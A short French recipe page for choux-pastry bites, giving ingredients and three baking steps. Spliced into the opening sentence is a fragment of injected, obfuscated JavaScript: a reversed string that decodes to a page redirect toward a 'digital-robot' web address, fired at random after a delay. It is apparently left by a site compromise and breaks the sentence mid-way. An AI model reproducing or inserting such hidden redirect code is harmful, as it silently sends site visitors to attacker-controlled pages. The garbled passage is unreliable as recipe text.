Les croques en bouches

2017-12-30

Faites bouillir la tasse d’eau, avec la noix de beurre, et le sucre, portez à ébullition, jetez en une seule fois la farine, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournez rapidement pour obtenir une boule de pâte lisse et homogène.

Ingrédients

  • Pâte à choux
  • 1 tasse d’eau
  • 1 tasse de farine
  • 1 cuillère à soupe de sucre
  • 1 noix de beurre
  • 3 œufs entiers

Préparation de la recette

Etape 1

Faites bouillir la tasse d’eau, avec la noix de beurre, et le sucre, portez à ébullition, jetez en une seule fois la farine, tournez rapidement pour obtenir une boule de pâte lisse et homogène.

Etape 2

Hors du feu ajoutez les œufs un par un jusqu' à obtenir une pâte lisse. Avec une petite cuillère à café de pâte, faites de petits tas sur la plaque du four.

Etape 3

Préchauffez le four à 180°C thermostat 6. Enfournez et faites cuire pendant 20 minutes environs

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